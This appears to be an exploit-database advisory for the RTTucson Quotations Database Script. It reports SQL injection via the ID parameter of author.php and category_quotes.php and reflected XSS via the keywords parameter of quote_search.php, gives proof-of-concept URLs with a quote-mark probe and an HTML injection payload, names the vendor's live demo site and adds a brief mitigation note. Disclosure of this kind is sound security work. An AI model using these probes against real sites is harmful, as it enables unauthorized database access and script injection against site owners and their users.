RTTucson Quotations Database Script, Multiple Vulnerabilities

vendor:

Quotations Database Script

by:

3spi0n

8,8

CVSS

HIGH

MySQL Injection and XSS

89 (SQL Injection) and 79 (XSS)

CWE

Product Name: Quotations Database Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

RTTucson Quotations Database Script, Multiple Vulnerabilities

The RTTucson Quotations Database Script is vulnerable to MySQL Injection and XSS. The author.php and category_quotes.php scripts are vulnerable to MySQL Injection when the ID parameter is manipulated. The quote_search.php script is vulnerable to XSS when the keywords parameter is manipulated.

Mitigation:

Input validation should be used to prevent SQL Injection and XSS attacks. All user input should be sanitized and validated before being used in any SQL queries.

Source

Exploit-DB raw data:

##################################################################################
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /  
                                                                /____/   
##################################################################################																
RTTucson Quotations Database Script, Multiple Vulnerabilities
Software Page: http://www.rttucson.com/index.html
Script Demo: http://www.rttucson.com/quotations/default.php

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################

[~] MySQL Injection on Demo Site 

[+] (author.php, ID Param)
>>> http://server/quotations/author.php?ID=5' (MySQLi Found)

[+] (category_quotes.php, ID Param)
>>> http://server/quotations/category_quotes.php?ID=9' (MySQLi Found)

[~] XSS on Demo Site

>> (quote_search.php, keywords Param)
>>> http://server/quotations/quote_search.php?keywords=<h1>Xssed-3spi0n</h1>